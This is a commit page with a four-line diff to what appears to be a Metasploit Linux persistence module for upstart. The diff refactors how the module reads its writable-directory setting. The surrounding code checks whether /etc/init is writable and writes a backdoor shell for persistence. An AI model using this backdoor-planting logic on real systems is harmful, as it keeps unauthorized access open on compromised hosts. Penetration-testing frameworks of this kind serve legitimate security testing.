Skip to content

Commit adde043

Browse files
committed
upstart updated with mixin udpates
1 parent b9534ff commit adde043

File tree

1 file changed

+4
-4
lines changed

1 file changed

+4
-4
lines changed

modules/exploits/linux/persistence/init_upstart.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -77,17 +77,17 @@ def initialize(info = {})
7777
end
7878

7979
def check
80-
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
81-
return CheckCode::Safe("#{datastore['WritableDir']} isnt writable") unless writable?(datastore['WritableDir'])
80+
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
81+
return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
8282
return CheckCode::Safe('/etc/init/ isnt writable') unless writable?('/etc/init/')
8383

8484
return CheckCode::Safe('Likely not an upstart based system') unless command_exists?('initctl')
8585

86-
CheckCode::Appears("#{datastore['WritableDir']} is writable and system is upstart based")
86+
CheckCode::Appears("#{writable_dir} is writable and system is upstart based")
8787
end
8888

8989
def install_persistence
90-
backdoor = write_shell(datastore['WritableDir'])
90+
backdoor = write_shell(writable_dir)
9191

9292
path = backdoor.split('/')[0...-1].join('/')
9393
file = backdoor.split('/')[-1]

0 commit comments

Comments
 (0)